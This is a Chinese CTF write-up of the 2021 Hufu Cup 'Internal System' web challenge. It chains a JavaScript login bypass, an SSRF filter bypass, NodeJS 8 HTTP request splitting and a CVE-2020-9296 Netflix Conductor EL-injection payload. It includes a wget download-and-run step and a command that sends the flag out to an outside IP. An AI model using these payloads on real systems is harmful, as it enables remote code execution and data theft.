重温 2021 虎符杯 CTF Internal System

  • A+
所属分类:CTF专场
重温 2021 虎符杯 CTF Internal System


  • 前言

  • 解题

    • JS 弱类型登录绕过

    • SSRF 拿到 Hint

    • NodeJS 8 HTTP 拆分实现的 SSRF 攻击

    • 开始攻击

  • Ending......


前言

前段时间让炒币弄的没心思学习,现在全赔光了,终于可以安下心了好好学学习了……

重温 2021 虎符杯 CTF Internal System

今天复现了前段时间虎符杯中 "Internal System" 这道 Web 题,题目质量外瑞古德,做完之后神清气爽,所以在此一记!主要考了 NodeJS 中的两个知识点:

  • JS 弱类型登录绕过
  • NodeJS 8 HTTP 拆分实现的 SSRF 攻击

解题

进入题目,是一个很炫酷的登录页面:

重温 2021 虎符杯 CTF Internal System
image-20210504135104748

访问 /source 路由得到源码:

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))    // 计算 admin 的哈希

const port = process.env.PORT || 3000    // 这个 NodeJS 服务默认是开在 3000 端口

function formatResopnse(response{
  if(typeof(response) !== typeof('')) {
    return JSON.stringify(response)    // 如果 response 不等于空, 则将其转换为 JSON 的格式并返回
  } else {
    return response
  }
}

function SSRF_WAF(url{
  const host = new UrlParse(url).hostname.replace(/[|]/g'')    // 将 hostname 中的 [ ] 替换为空

  return isIp(host) && IP.isPublic(host)    // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}

function FLAG_WAF(url{
  const pathname = new UrlParse(url).pathname    // pathname 中不能有/flag
  return !pathname.startsWith('/flag')
}

function OTHER_WAF(url{
  return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {    // 如果没设置 session.admin 则返回登录页面
    res.redirect('/login')
  } else {
    res.redirect('/index')
  }
})

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') {
    res.render('login')    // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
  } else {    // 可以设 username=['admin']&password=admin 绕过
    const hash = sha256(sha256(salt + username) + sha256(salt + password))

    req.session.admin = hash === adminHash    // session.admin 等于 "hash === adminHash" 的判断结果

    res.redirect('/index')    // 重定向到 /index 路由
  }
})

router.get('/index', (req, res, next) => {
  if(req.session.admin === undefined || req.session.admin === null) {
    res.redirect('/login')
  } else {
    res.render('index', {admin: req.session.admin, networkJSON.stringify(require('os').networkInterfaces())})
  }
})

router.get('/proxy'async(req, res, next) => {
  if(!req.session.admin) {    // 必须用admin访问
    return res.redirect('/index')
  }
  const url = decodeURI(req.query.url);    // 进行一次 URL 解码

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

  if(!status) {    // status 必须为 true
    res.render('base', {title'WAF'content"Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy'async(req, res, next) => {
  if(!req.session.admin) {    // // 必须用admin访问
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base'"Something needs to be implemented")
})


router.all('/search'async (req, res, next) => {
  if(!/127.0.0.1/.test(req.ip)){    // 必须要匹配到 127.0.0.1, 即必须在本地访问 /search 这个路由
    return res.send({title'Error'content'You can only use proxy to aceess here!'})
  }

  const result = {title'Search Success'content''}

  const method = req.method.toLowerCase()    // 请求方式
  const url = decodeURI(req.query.url)    // 再进行二次 URL 解码
  const data = req.body

  try {
    if(method == 'get') {
      const response = await axios.get(url)
      result.content = formatResopnse(response.data)
    } else if(method == 'post') {
      const response = await axios.post(url, data)
      result.content = formatResopnse(response.data)
    } else {
      result.title = 'Error'
      result.content = 'Unsupported Method'
    }
  } catch(error) {
    result.title = 'Error'
    result.content = error.message
  }

  return res.json(result)
})

router.get('/source', (req, res, next)=>{
  res.sendFile( __dirname + "/" + "index.js");
})

router.get('/flag', (req, res, next) => {
  if(!/127.0.0.1/.test(req.ip)){    // 必须要匹配到 127.0.0.1, 即必须在本地访问 /flag 这个路由
    return res.send({title'Error'content'No Flag For You!'})
  }
  return res.json({hint: hint})
})

module.exports = router

代码逻辑比较简单,不做过多描述。

JS 弱类型登录绕过

首先我们要做的是登录,登录的处理逻辑:

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
    res.render('login')
  } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash

    req.session.admin = hash === adminHash // 与管理员 hash 比较,对上了就给 session 里这个东西赋值真

    res.redirect('/index')
  }
})

这里用到了 JavaScript 弱类型的特性。即 JavaScript 的数组在使用加号拼接的时候最终还是会得到一个字符串(string),于是不会影响 sha256 的处理:

重温 2021 虎符杯 CTF Internal System
image-20210504141503500

看完之后你可能就明白了,我们如下构造 Payload 即可绕过:

/login?username[]=admin&password=admin

登录绕过后,就能成功以管理员身份进入,并来到以下页面:

重温 2021 虎符杯 CTF Internal System
image-20210504141652920

这是一个代理器页面,通过这个页面我们可以直接访问到外网的页面:

重温 2021 虎符杯 CTF Internal System

接下来就是有趣的 SSRF 了……

SSRF 拿到 Hint

这里提交的 URL 会调用 GET /proxy 接口,再来看源码:

......

function SSRF_WAF(url) {
  const host = new UrlParse(url).hostname.replace(/[|]/g'')    // 将 hostname 中的 [ ] 替换为空

  return isIp(host) && IP.isPublic(host)    // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}

function FLAG_WAF(url{
  const pathname = new UrlParse(url).pathname    // pathname 中不能有/flag
  return !pathname.startsWith('/flag')
}

function OTHER_WAF(url{
  return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

......

router.get('/proxy'async(req, res, next) => {
  if(!req.session.admin) {    // 必须用admin访问
    return res.redirect('/index')
  }
  const url = decodeURI(req.query.url);    // 进行一次 url 解码

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

  if(!status) {    // status 必须为 true
    res.render('base', {title'WAF'content"Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy'async(req, res, next) => {
  if(!req.session.admin) {    // // 必须用admin访问
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base'"Something needs to be implemented")
})

这里前面几个 WAF 对 /proxy 路由做了限制,要求输入的 URL Host 为 IP 且为公网 IP,且目录不以 /flag 开头。那么就要想办法绕过一下,最简单的办法,就是尝试一下 0.0.0.0,请求时如果用这个地址,会默认访问到本机上。只要是本机监听的端口,都会被请求到。由于这个 NodeJS 服务默认是开在 3000 端口,所以我们输入 http://0.0.0.0:3000,成功了:

重温 2021 虎符杯 CTF Internal System
image-20210504142902823

那我们便可以成功进行 SSRF 了,像那些只限制本地访问的接口,比如 /search,就能访问了。并且,由于题目对 /search 路由做的限制仅限于从本地访问,那我们的思路便是通过 /proxy 代理路由去访问一些真从从本地访问的路由,比如 /search 路由,然后通过这个 /search 路由去进行 SSRF 去访问 /flag 路由:

/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
重温 2021 虎符杯 CTF Internal System
image-20210504143709241

如上图所示,成功访问 /flag 路由,并得到了 Hint:

{"title":"Search Success","content":"{"hint":"someone else also deploy a netflix conductor server in Intranet?"}"}

提示我们在内网中有部署了一个 Netflix Conductor Server。Netflix Conductor 是 Netflix 开发的一款工作流编排的引擎,在 2.25.3 及以下版本中存在一个任意代码执行(CVE-2020-9296)。漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。

那么既然要利用该漏洞就要先在内网中找到这个 Netflix Conductor Server,网上找到它的默认端口为 8080,那么我们来探测一下内网,找一下哪台机器是那个服务器:

/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.9:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.10:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.11:8080
......
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.14:8080

在测试到 10.0.41.14 的时候有了回应:

重温 2021 虎符杯 CTF Internal System

是个 Swagger UI,也就是 Netflix Conductor 的文档页,后面就是 Netflix Conductor Server 了。目标找到了,就是这个 10.0.41.14。下面我们就开始尝试利用 Netflix Conductor 的那个漏洞,具体的利用过程请看:https://xz.aliyun.com/t/7889#toc-2 。

Netflix Conductor 的这个漏洞出在  /api/metadata/taskdefs 上,需要 POST 一个 JSON 过去,里面含有恶意的 BCEL 编码,可以造成 RCE。

那我们首先得准备 BCEL 编码。我们先在本地创建一个恶意的 Evil.java:

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://47.101.57.72:2333/shell.txt -O /tmp/shell");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

这里为什么不反弹 Shell 呢?因为因为目标环境中没有Bash,也没有curl,所以我们的思路是让目标主机使用 wget 下载一个写入了 Shell 命令的文件 shell.txt,然后再次发送 Payload 让他执行这个 shell.txt 文件。

shell.txt 位于我们的 VPS 上,里面的内容为:

#!/bin/sh
wget http://47.101.57.72:2333/?a=`cat /flag|base64`

然后使用 javac 将 Evil.java 编译,然后再使用 BCELCodeman 这个工具将其转换为 BCEL 编码:

javac Evil.java    // 编译Evil.java
java -jar BCELCodeman.jar e Evil.class    // 转换为 BCEL 编码
重温 2021 虎符杯 CTF Internal System

得到如下 BCEL 编码:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A

然后把它给组合到攻击 Netflix Conductor 所使用的 Json 里:

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

最后是我们攻击 Netflix Conductor 所使用的 POST 请求:

POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

加下来要考虑的就是如何将这个 POST 请求发送出去了。

NodeJS 8 HTTP 拆分实现的 SSRF 攻击

我们在源码的开头发现了提示:

重温 2021 虎符杯 CTF Internal System
image-20210504152413789

提示我们当前为 NodeJS 8,而该版本的 NodeJS 正好可以通过损坏的 Unicode 编码实现 HTTP 拆分,从而进行 SSRF 攻击,详情请看:

  • https://xz.aliyun.com/t/2894
  • https://whoamianony.top/2021/04/20/Web安全/HTTP响应拆分攻击(CRLF Injection)/#NodeJS-中的-CRLF-Injection

编写如下脚本生成符合 NodeJS 8 HTTP 拆分攻击要求的 Payload:

payload = ''' HTTP/1.1

POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

GET / HTTP/1.1
test:'''
.replace("n","rn")

payload = payload.replace('rn''u010du010a'
 .replace('+''u012b'
    .replace(' ''u0120'
    .replace('[''u015b'
    .replace(']''u015d'
    .replace('`''u0127'
    .replace('"''u0122'
    .replace("'"'u0a27'
 .replace('{''u017b'
 .replace('}''u017d')

print(payload)

# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/search?url=http://10.0.99.14:8080/api/metadata/taskdefsĠHTTP/1.1čĊHost:Ġ127.0.0.1:3000čĊContent-Type:Ġapplication/jsončĊContent-Length:1535čĊčĊśŻĢnameĢ:Ģ$Żਧ1ਧ.getClass().forName(ਧcom.sun.org.apache.bcel.internal.util.ClassLoaderਧ).newInstance().loadClass(ਧ$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$Aਧ).newInstance().classŽĢ,ĢownerEmailĢ:Ģ[email protected]Ģ,ĢretryCountĢ:Ģ3Ģ,ĢtimeoutSecondsĢ:Ģ1200Ģ,ĢinputKeysĢ:śĢsourceRequestIdĢ,ĢqcElementTypeĢŝ,ĢoutputKeysĢ:śĢstateĢ,ĢskippedĢ,ĢresultĢŝ,ĢtimeoutPolicyĢ:ĢTIME_OUT_WFĢ,ĢretryLogicĢ:ĢFIXEDĢ,ĢretryDelaySecondsĢ:Ģ600Ģ,ĢresponseTimeoutSecondsĢ:Ģ3600Ģ,ĢconcurrentExecLimitĢ:Ģ100Ģ,ĢrateLimitFrequencyInSecondsĢ:Ģ60Ģ,ĢrateLimitPerFrequencyĢ:Ģ50Ģ,ĢisolationgroupIdĢ:ĢmyIsolationGroupIdĢŽŝčĊčĊGETĠ/ĠHTTP/1.1čĊtest:

然后需要将上面生成的 Payload 进行三次 URL 编码,因为我们的 GET 请求会解码一次,进入 /proxy 路由又会解码一次,最后进行 /search 路由进行攻击又会解码一次。

先来测试一下,在自己 VPS 上开个监听 3000 端口,然后执行:

/proxy?url=http://47.101.57.72:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
重温 2021 虎符杯 CTF Internal System

如上图所示,成功发送了一个POST请求,也就是我们的攻击请求。

开始攻击

首先在自己的 VPS 上存在 shell.txt 的目录中用 Python 开启一个 HTTP 服务:

重温 2021 虎符杯 CTF Internal System
image-20210504223509431

然后执行 Payload:

/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
重温 2021 虎符杯 CTF Internal System
image-20210504223637451

如上图所示,成功控制目标主机下载了我们的 shell.txt 文件,然后再次编写一个 Evil.java 用于执行刚才下载下来的 shell.txt 文件:

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("sh /tmp/shell");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

重新编译,重新编码,重新构造并发送 Payload:

重温 2021 虎符杯 CTF Internal System
image-20210504224827444

如上图所示,成功执行了 /tmp/shell 并带出了经过 base64 编码后的 flag:

重温 2021 虎符杯 CTF Internal System
image-20210504224927306

Ending......

重温 2021 虎符杯 CTF Internal System

本文始发于微信公众号(山警网络空间安全与电子数据取证):重温 2021 虎符杯 CTF Internal System

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: